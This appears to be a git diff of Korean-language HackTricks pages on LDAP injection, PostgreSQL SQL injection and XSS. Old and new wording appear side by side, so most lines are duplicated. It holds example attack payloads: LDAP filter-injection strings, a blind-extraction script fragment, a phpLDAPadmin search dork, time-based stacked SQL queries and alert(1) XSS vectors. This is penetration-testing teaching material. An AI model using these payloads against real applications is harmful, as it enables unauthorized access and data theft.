**LDAP Injection**은 사용자 입력에서 LDAP 문을 구성하는 웹 응용 프로그램을 대상으로 하는 공격입니다. 응용 프로그램이 입력을 **적절하게 살균하지 않아** 공격자가 로컬 프록시를 통해 LDAP 문을 **조작**할 수 있게 하면서 무단 액세스 또는 데이터 조작으로 이어질 수 있습니다. **LDAP Injection**은 사용자 입력에서 LDAP 문을 구성하는 웹 응용 프로그램을 대상으로 하는 공격입니다. 응용 프로그램이 입력을 **적절하게 살균하지 않아** 공격자가 로컬 프록시를 통해 LDAP 문을 **조작**할 수 있게 하 무단 액세스 또는 데이터 조작으로 이어질 수 있습니다.
{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %} {% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
**필터** = ( filtercomp )\ **필터** = (필터구성)\
**Filtercomp** = and / or / not / item\ **필터구성** = and / or / not / item\
**And** = & filterlist\ **And** = & filterlist\
**Or** = |filterlist\ **Or** = |filterlist\
**Not** = ! filter\ **Not** = ! filter\
@ -137,7 +137,7 @@ password=any
### Blind LDAP Injection ### Blind LDAP Injection
데이터가 반환되는지 확인하고 가능한 Blind LDAP Injection을 확인하기 위해 False 또는 True 응답을 강제로 유도할 수 있습니다: 데이터가 반환되는지 확인하고 가능한 Blind LDAP Injection을 확인하기 위해 False 또는 True 응답을 강제로 생성할 수 있습니다:
```bash ```bash
#This will result on True, so some information will be shown #This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void Payload: *)(objectClass=*))(&objectClass=void
@ -215,7 +215,7 @@ flag += char
print("[+] Flag: " + flag) print("[+] Flag: " + flag)
break break
``` ```
### 구글 도크 ### 구글 도크
```bash ```bash
intitle:"phpLDAPadmin" inurl:cmd.php intitle:"phpLDAPadmin" inurl:cmd.php
``` ```
@ -223,22 +223,22 @@ intitle:"phpLDAPadmin" inurl:cmd.php
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %} {% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
만약 **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **저희가 채용 중입니다!** (_구사할 수 있는 폴란드어 필수_). 만약 **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중입니다!** (_유창한 폴란드어 필수_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
<details> <details>
<summary><strong>제로부터 히어로가 되기까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong>!</summary>
HackTricks를 지원하는 다른 방법: HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 * [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**팔로우하세요.** * 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**팔로우**하세요.
* **HackTricks**[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요. * **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>

View file

@ -2,21 +2,27 @@
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)</strong>에서 **제로부터 영웅까지 AWS 해킹 배우기**</summary> <summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!</strong></summary>
HackTricks를 지원하는 다른 방법: HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! - **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 - [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) **팔로우**하세요. - 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) **팔로우**하세요.
* **HackTricks****HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. - **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**SQLinjection을 이용하여 발견된 postgresql 데이터베이스를 악용하는 다양한 트릭을 설명하는 것을 목표로 합니다.** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)에서 찾을 수 있는 트릭을 보완하기 위한 것입니다. **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **저희가 채용 중입니다!** (_유창한 폴란드어 필수_).
{% embed url="https://www.stmcyber.com/careers" %}
***
**이 페이지는 postgresql 데이터베이스에서 발견된 SQL 삽입을 이용하는 다양한 트릭을 설명하고, 다음 링크에서 찾을 수 있는 트릭을 보완하기 위한 것을 목표로 합니다** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
## 네트워크 상호작용 - 권한 상승, 포트 스캐너, NTLM 챌린지 응답 노출 및 유출 ## 네트워크 상호작용 - 권한 상승, 포트 스캐너, NTLM 챌린지 응답 노출 및 유출
@ -24,7 +30,7 @@ HackTricks를 지원하는 다른 방법:
### **dblink 및 대형 객체를 사용한 유출 예제** ### **dblink 및 대형 객체를 사용한 유출 예제**
CTF 예제를 보고 **대형 객체 내에 데이터를 로드한 다음 `dblink_connect` 함수의 사용자 이름 내에서 대형 객체의 내용을 유출하는 방법**을 확인할 수 있습니다. [**이 예제를 읽어보세요**](dblink-lo\_import-data-exfiltration.md). CTF 예제를 보고 **대형 객체 내부에 데이터를 로드하고 그 내용을 `dblink_connect` 함수의 사용자 이름 내부에서 유출하는 방법**을 보려면 [**이 예제를 읽으세요**](dblink-lo\_import-data-exfiltration.md).
## PostgreSQL 공격: 읽기/쓰기, RCE, 권한 상승 ## PostgreSQL 공격: 읽기/쓰기, RCE, 권한 상승
@ -39,11 +45,11 @@ PostgreSQL에서 호스트를 침해하고 권한을 상승하는 방법을 확
### PostgreSQL 문자열 함수 ### PostgreSQL 문자열 함수
문자열 조작은 **WAF 우회나 다른 제한을 우회하는 데 도움**이 될 수 있습니다.\ 문자열 조작은 **WAF 우회나 다른 제한을 우회하는 데 도움**이 될 수 있습니다.\
[**이 페이지**](https://www.postgresqltutorial.com/postgresql-string-functions/)에서 **유용한 문자열 함수**를 찾을 수 있습니다. [**이 페이지에서**](https://www.postgresqltutorial.com/postgresql-string-functions/) **일부 유용한 문자열 함수를 찾을 수 있습니다.**
### Stacked Queries ### Stacked Queries
Postgresql은 stacked queries를 지원하지만, 1개의 응답만 예상하는 상황에서 2개의 응답이 반환되면 여러 응용 프로그램에서 오류가 발생할 수 있습니다. 그러나 시간 삽입을 통해 여전히 stacked queries를 남용할 수 있습니다: Postgresql은 stacked queries를 지원하지만, 1개만 예상하는 응답을 받을 때 2개의 응답이 반환되면 여러 응용 프로그램에서 오류가 발생할 수 있습니다. 그러나 시간 삽입을 통해 여전히 stacked queries를 남용할 수 있습니다:
``` ```
id=1; select pg_sleep(10);-- - id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- - 1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
@ -78,7 +84,7 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio
### 금지된 따옴표 ### 금지된 따옴표
만약 페이로드에 따옴표를 사용할 수 없다면, 기본 절에 대해 `CHR` 사용하여 이를 우회할 수 있습니다 (_문자 연결은 SELECT, INSERT, DELETE 등의 기본 쿼리에만 작동하며 모든 SQL 문에 대해 작동하지는 않음_): 만약 페이로드에 따옴표를 사용할 수 없다면, 기본 절에 대해 `CHR` 사용하여 이를 우회할 수 있습니다 (_문자 연결은 SELECT, INSERT, DELETE 등의 기본 쿼리에만 작동하며 모든 SQL 문에 대해 작동하지는 않음_):
``` ```
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69); SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
``` ```
@ -88,21 +94,21 @@ SELECT 'hacktricks';
SELECT $$hacktricks$$; SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$; SELECT $TAG$hacktricks$TAG$;
``` ```
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **저희가 채용 중입니다!** (_포괄적인 폴란드어 작문 및 구사 능력 필요_). **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중입니다!** (_유창한 폴란드어 필수_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요</strong>!</summary> <summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 히어로까지 AWS 해킹 배우기**!</summary>
HackTricks를 지원하는 다른 방법: HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나 PDF 형식의 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 * [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요. * 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. * **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.

View file

@ -1,6 +1,6 @@
# XSS (Cross Site Scripting) # XSS (Cross Site Scripting)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중입니다!** (_유창한 폴란드어 필수_). **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중입니다!** (_유창한 폴란드어 필수_).
@ -16,8 +16,8 @@
1. 새 HTML 태그를 생성할 수 있습니까? 1. 새 HTML 태그를 생성할 수 있습니까?
2. `javascript:` 프로토콜을 지원하는 이벤트 또는 속성을 사용할 수 있습니까? 2. `javascript:` 프로토콜을 지원하는 이벤트 또는 속성을 사용할 수 있습니까?
3. 보호 기능을 우회할 수 있습니까? 3. 보호 기능을 우회할 수 있습니까?
4. HTML 콘텐츠가 클라이언트 측 JS 엔진(_AngularJS_, _VueJS_, _Mavo_...)에 의해 해석되는 경우 [**Client Side Template Injection**](../client-side-template-injection-csti.md)을 악용할 수 있습니다. 4. HTML 콘텐츠가 클라이언트 측 JS 엔진(_AngularJS_, _VueJS_, _Mavo_...)에 의해 해석되는 경우 [**클라이언트 측 템플릿 삽입**](../client-side-template-injection-csti.md)을 악용할 수 있습니다.
5. JS 코드를 실행하는 HTML 태그를 생성할 수 없는 경우 [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)을 악용할 수 있습니까? 5. JS 코드를 실행하는 HTML 태그를 생성할 수 없는 경우 [**둘러싸인 마크업 - HTML 스크립트 없는 삽입**](../dangling-markup-html-scriptless-injection/)을 악용할 수 있습니까?
2. **HTML 태그** 내부에서: 2. **HTML 태그** 내부에서:
1. 원시 HTML 컨텍스트로 이동할 수 있습니까? 1. 원시 HTML 컨텍스트로 이동할 수 있습니까?
2. JS 코드를 실행하는 새 이벤트/속성을 생성할 수 있습니까? 2. JS 코드를 실행하는 새 이벤트/속성을 생성할 수 있습니까?
@ -26,9 +26,9 @@
3. **JavaScript 코드** 내부에서: 3. **JavaScript 코드** 내부에서:
1. `<script>` 태그를 이스케이프할 수 있습니까? 1. `<script>` 태그를 이스케이프할 수 있습니까?
2. 문자열을 이스케이프하고 다른 JS 코드를 실행할 수 있습니까? 2. 문자열을 이스케이프하고 다른 JS 코드를 실행할 수 있습니까?
3. 입력이 템플릿 리터럴 \`\`에 있는지 확인하십니까? 3. 입력이 템플릿 리터럴 \`\`에 있는 경우?
4. 보호 기능을 우회할 수 있습니까? 4. 보호 기능을 우회할 수 있습니까?
4. 실행되는 Javascript **함수** 4. 실행되는 JavaScript **함수**
1. 실행할 함수의 이름을 지정할 수 있습니다. 예: `?callback=alert(1)` 1. 실행할 함수의 이름을 지정할 수 있습니다. 예: `?callback=alert(1)`
4. **사용**된 경우: 4. **사용**된 경우:
1. **DOM XSS**를 악용할 수 있으며, 입력이 어떻게 제어되는지와 제어된 입력이 어떤 sink에서 사용되는지 주의 깊게 살펴보세요. 1. **DOM XSS**를 악용할 수 있으며, 입력이 어떻게 제어되는지와 제어된 입력이 어떤 sink에서 사용되는지 주의 깊게 살펴보세요.
@ -43,18 +43,18 @@
XSS를 성공적으로 악용하려면 먼저 웹 페이지에서 **반영되는 값**을 찾아야 합니다. XSS를 성공적으로 악용하려면 먼저 웹 페이지에서 **반영되는 값**을 찾아야 합니다.
* **중간 반영**: 매개변수의 값 또는 경로가 웹 페이지에 반영되는 것을 발견하면 **Reflected XSS**를 악용할 수 있습니다. * **중간 반영**: 매개변수의 값 또는 경로가 웹 페이지에 반영되는 것을 발견하면 **반영된 XSS**를 악용할 수 있습니다.
* **저장 및 반영**: 제어할 수 있는 값이 서버에 저장되고 페이지에 액세스할 때마다 반영되는 것을 발견하면 **Stored XSS**를 악용할 수 있습니다. * **저장 및 반영**: 제어할 수 있는 값이 서버에 저장되고 페이지에 액세스할 때마다 반영되는 것을 발견하면 **저장된 XSS**를 악용할 수 있습니다.
* **JS를 통해 액세스**: 제어할 수 있는 값이 JS를 사용하여 액세스되는 것을 발견하면 **DOM XSS**를 악용할 수 있습니다. * **JS를 통해 액세스**: 제어할 수 있는 값이 JS를 사용하여 액세스되는 것을 발견하면 **DOM XSS**를 악용할 수 있습니다.
## 컨텍스트 ## 컨텍스트
XSS를 악용하려고 할 때 먼저 알아야 할 것은 **입력이 어디에 반영되는지**입니다. 컨텍스트에 따라 다양한 방식으로 임의의 JS 코드를 실행할 수 있습니다. XSS를 악용하려고 할 때 **입력이 어디에 반영되는지**를 알아야 합니다. 컨텍스트에 따라 임의의 JS 코드를 다양한 방법으로 실행할 수 있습니다.
### 원시 HTML ### 원시 HTML
입력이 **원시 HTML** 페이지**반영**되는 경우 일부 **HTML 태그**를 악용하여 JS 코드를 실행해야 합니다: `<img , <iframe , <svg , <script` ... 이것은 사용할 수 있는 많은 HTML 태그 중 일부에 불과합니다.\ 입력이 **원시 HTML에 반영**되는 경우 일부 **HTML 태그**를 악용하여 JS 코드를 실행해야 합니다: `<img , <iframe , <svg , <script` ... 이것은 사용할 수 있는 많은 HTML 태그 중 일부에 불과합니다.\
또한 [Client Side Template Injection](../client-side-template-injection-csti.md)을 염두에 두세요. 또한 [클라이언트 측 템플릿 삽입](../client-side-template-injection-csti.md)을 염두에 두세요.
### HTML 태그 속성 내부 ### HTML 태그 속성 내부
@ -62,8 +62,8 @@ XSS를 악용하려고 할 때 먼저 알아야 할 것은 **입력이 어디에
1. **속성 및 태그에서 이스케이프**하여(그럼 원시 HTML에 있게 됨) 새 HTML 태그를 악용: `"><img [...]` 1. **속성 및 태그에서 이스케이프**하여(그럼 원시 HTML에 있게 됨) 새 HTML 태그를 악용: `"><img [...]`
2. **속성에서 이스케이프하지만 태그에서 이스케이프하지 못하는 경우** (`>`가 인코딩되거나 삭제됨), 태그에 따라 JS 코드를 실행하는 **이벤트를 생성**할 수 있습니다: `" autofocus onfocus=alert(1) x="` 2. **속성에서 이스케이프하지만 태그에서 이스케이프하지 못하는 경우** (`>`가 인코딩되거나 삭제됨), 태그에 따라 JS 코드를 실행하는 **이벤트를 생성**할 수 있습니다: `" autofocus onfocus=alert(1) x="`
3. **속성에서 이스케이프할 수 없는 경우** (`"`가 인코딩되거나 삭제됨), 반영되는 **속성**에 따라 **값을 완전히 제어하거나 일부만 제어**하는 경우 악용할 수 있습니다. **예를 들어**, `onclick=`과 같은 이벤트를 제어하는 경우 클릭할 때 임의의 코드를 실행할 수 있습니다. 또 다른 흥미로운 **예**는 `href` 속성인데, `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`** 3. **속성에서 이스케이프할 수 없는 경우** (`"`가 인코딩되거나 삭제됨), 반영되는 **속성**에 따라 **값을 모두 제어하거나 일부만 제어**하는 경우 악용할 수 있습니다. **예를 들어**, `onclick=`과 같은 이벤트를 제어하는 경우 클릭할 때 임의의 코드를 실행할 수 있습니다. 또 다른 흥미로운 **예**는 `href` 속성인데, `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`**
4. 입력이 "**악용할 수 없는 태그**" 내부에 반영되는 경우 취약점을 악용하기 위해 **`accesskey`** 트릭을 시도할 수 있습니다 (이를 악용하려면 어떤 종류의 사회 공학이 필요합니다): **`" accesskey="x" onclick="alert(1)" x="`** 4. 입력이 "**악용할 수 없는 태그**" 내부에 반영되는 경우 취약점을 악용하기 위해 **`accesskey`** 트릭을 시도할 수 있습니다(이를 악용하기 위해 일종의 사회 공학이 필요합니다): **`" accesskey="x" onclick="alert(1)" x="`**
Angular가 클래스 이름을 제어하는 경우 이상한 XSS의 예: Angular가 클래스 이름을 제어하는 경우 이상한 XSS의 예:
```html ```html
@ -73,10 +73,10 @@ Angular가 클래스 이름을 제어하는 경우 이상한 XSS의 예:
``` ```
### JavaScript 코드 내부 ### JavaScript 코드 내부
이 경우에는 입력이 HTML 페이지의 **`<script> [...] </script>`** 태그 사이, `.js` 파일 내 또는 **`javascript:`** 프로토콜을 사용하 속성 내부에 반영됩니다: 이 경우에는 입력이 HTML 페이지의 **`<script> [...] </script>`** 태그 사이, `.js` 파일 내 또는 **`javascript:`** 프로토콜을 사용하 속성 내부에 반영됩니다:
* **`<script> [...] </script>`** 태그 사이에 반영된 경우, 입력이 어떤 종류의 따옴표 안에 있더라도 `</script>`를 주입하고 이 문맥에서 탈출을 시도할 수 있습니다. 이는 **브라우저가 먼저 HTML 태그를 구문 분석**한 다음 내용을 처리하기 때문에, 주입된 `</script>` 태그가 HTML 코드 내에 있는 것을 인식하지 못하기 때문에 작동합니다. * **`<script> [...] </script>`** 태그 사이에 반영된 경우, 입력이 어떤 종류의 따옴표 안에 있더라도 `</script>`를 주입하고 이 문맥에서 탈출을 시도할 수 있습니다. 이는 **브라우저가 먼저 HTML 태그를 구문 분석**한 다음 내용을 구문 분석하기 때문에 주입된 `</script>` 태그가 HTML 코드 내에 있는 것을 인식하지 못하기 때문에 작동합니다.
* **JS 문자열 내부**에 반영되고 마지막 트릭이 작동하지 않는 경우 문자열을 **종료**하고 코드를 **실행**하고 JS 코드를 **재구성**해야 합니다 (오류가 있으면 실행되지 않음): * **JS 문자열 내부**에 반영되고 마지막 트릭이 작동하지 않는 경우 문자열을 **탈출**하고 코드를 **실행**하고 JS 코드를 **재구성**해야 합니다 (오류가 있으면 실행되지 않음):
* `'-alert(1)-'` * `'-alert(1)-'`
* `';-alert(1)//` * `';-alert(1)//`
* `\';alert(1)//` * `\';alert(1)//`
@ -100,11 +100,11 @@ Angular가 클래스 이름을 제어하는 경우 이상한 XSS의 예:
여러 웹 페이지는 **실행할 함수의 이름을 매개변수로 받는** 엔드포인트를 가지고 있습니다. 일반적으로 볼 수 있는 예시는 `?callback=callbackFunc`와 같습니다. 여러 웹 페이지는 **실행할 함수의 이름을 매개변수로 받는** 엔드포인트를 가지고 있습니다. 일반적으로 볼 수 있는 예시는 `?callback=callbackFunc`와 같습니다.
사용자로부터 직접 제공된 값이 실행되려고 하는지 확인하는 좋은 방법은 **매개변수 값을 수정**하여 콘솔에서 다음과 같은 오류를 찾는 것입니다: 사용자가 직접 제공한 값이 실행되려고 하는지 확인하는 좋은 방법은 **매개변수 값을 수정**하여 콘솔에서 다음과 같은 오류를 찾는 것입니다:
![](<../../.gitbook/assets/image (708).png>) ![](<../../.gitbook/assets/image (708).png>)
취약하다면, 값으로 **`?callback=alert(1)`**을 보내는 것만으로도 **경고를 트리거**할 수 있을 수 있습니다. 그러나 이러한 엔드포인트는 **콘텐츠를 유효성 검사**하여 문자, 숫자, 점 및 밑줄만 허용할 수 있도록 할 것입니다 (**`[\w\._]`**). 취약하다면, 값 **`?callback=alert(1)`**을 보내 **경고를 트리거**할 수 있을 수 있습니다. 그러나 이러한 엔드포인트는 보통 이러한 내용을 **검증하여** 문자, 숫자, 점 및 밑줄 (**`[\w\._]`**)만 허용합니다.
그러나 그 제한이 있더라도 여전히 일부 작업을 수행할 수 있습니다. 이는 유효한 문자를 사용하여 DOM의 **모든 요소에 액세스**할 수 있기 때문입니다: 그러나 그 제한이 있더라도 여전히 일부 작업을 수행할 수 있습니다. 이는 유효한 문자를 사용하여 DOM의 **모든 요소에 액세스**할 수 있기 때문입니다:
@ -120,9 +120,9 @@ parentElement
``` ```
당신은 직접 **Javascript 함수를 트리거**해 볼 수도 있습니다: `obj.sales.delOrders`. 당신은 직접 **Javascript 함수를 트리거**해 볼 수도 있습니다: `obj.sales.delOrders`.
그러나 보통 지정된 함수를 실행하는 엔드포인트는 DOM이 그다지 흥미로운 페이지가 아닙니다. **같은 출처의 다른 페이지**는 더 많은 작업을 수행할 **흥미로운 DOM**을 가지고 있을 것입니다. 그러나 보통 지정된 함수를 실행하는 엔드포인트는 DOM이 그다지 흥미로운 없는 엔드포인트일 것이며, **동일 출처의 다른 페이지**는 더 많은 작업을 수행할 **흥미로운 DOM**을 가지고 있을 것입니다.
따라서 **다른 DOM에서 이 취약점을 악용**하기 위해 **동일 출처 방법 실행 (SOME)** 공격이 개발되었습니다: 따라서, **다른 DOM에서 이 취약점을 악용**하기 위해 **동일 출처 방법 실행 (SOME)** 공격이 개발되었습니다:
{% content-ref url="some-same-origin-method-execution.md" %} {% content-ref url="some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](some-same-origin-method-execution.md) [some-same-origin-method-execution.md](some-same-origin-method-execution.md)
@ -138,7 +138,7 @@ parentElement
### **Universal XSS** ### **Universal XSS**
이러한 종류의 XSS는 **어디서나** 발견될 수 있습니다. 이것들은 웹 애플리케이션의 클라이언트 공격뿐만 아니라 **어떤** **컨텍스트**에서도 발생할 수 있습니다. 이러한 종류의 **임의의 JavaScript 실행**은 심지어 **RCE**를 얻거나 클라이언트 및 서버에서 **임의의 파일을 읽는** 등으로 악용될 수 있습니다.\ 이러한 종류의 XSS는 **어디서나** 발견될 수 있습니다. 이것들은 웹 애플리케이션의 클라이언트 공격뿐만 아니라 **어떤** **컨텍스트**에서도 발생할 수 있습니다. 이러한 종류의 **임의의 JavaScript 실행**은 심지어 **RCE**를 얻거나, 클라이언트 및 서버에서 **임의의 파일을 읽을 수 있도록 악용**될 수 있습니다.\
일부 **예시**: 일부 **예시**:
{% content-ref url="server-side-xss-dynamic-pdf.md" %} {% content-ref url="server-side-xss-dynamic-pdf.md" %}
@ -155,23 +155,23 @@ parentElement
## 원시 HTML 내부 삽입 ## 원시 HTML 내부 삽입
당신의 입력이 **HTML 페이지 내부에 반영**되거나 이 문맥에서 HTML 코드를 탈출하고 삽입할 수 있는 경우, **첫 번째** 해야 할 일은 `<`를 악용하여 새 태그를 만들 수 있는지 확인하는 것입니다: 그 문자를 **반영**하고 HTML 인코딩되었는지 또는 삭제되었는지 또는 **변경 없이 반영**되는지 확인해 보세요. **마지막 경우에만 이 케이스를 악용할 수 있을 것입니다**.\ 당신의 입력이 **HTML 페이지 내부에 반영**되거나 이 문맥에서 HTML 코드를 이스케이프하고 삽입할 수 있다면, **첫 번째** 해야 할 일은 `<`를 악용하여 새 태그를 만들 수 있는지 확인하는 것입니다: 그 **문자**를 **반영**하고 HTML이 인코딩되었는지, 삭제되었는지 또는 변경 없이 **반영**되는지 확인해보세요. **마지막 경우에만 이 케이스를 악용할 수 있을 것입니다**.\
이 경우에는 블랙/화이트리스트가 사용되지 않는다면, 다음과 같은 페이로드를 사용할 수 있습니다: 이 경우에는 블랙/화이트리스트가 사용되지 않는다면, 다음과 같은 페이로드를 사용할 수 있습니다:
```html ```html
<script>alert(1)</script> <script>alert(1)</script>
<img src=x onerror=alert(1) /> <img src=x onerror=alert(1) />
<svg onload=alert('XSS')> <svg onload=alert('XSS')>
``` ```
하지만, 태그/속성 블랙/화이트리스트가 사용되고 있다면, **생성할 수 있는 태그를 무차별 대입(brute-force)** 해야 합니다.\ 그러나 태그/속성 블랙/화이트리스트가 사용 중이라면, **생성할 수 있는 태그를 무차별 대입(brute-force)**해야 합니다.\
**허용된 태그를 찾은 후**, 해당 유효한 태그 내에서 **속성/이벤트를 무차별 대입(brute-force)** 해야 합니다. **허용된 태그를 찾은 후**, 발견한 유효한 태그 내에서 **속성/이벤트를 무차별 대입(brute-force)**하여 어떻게 컨텍스트를 공격할 수 있는지 확인해야 합니다.
### 태그/이벤트 무차별 대입 ### 태그/이벤트 무차별 대입
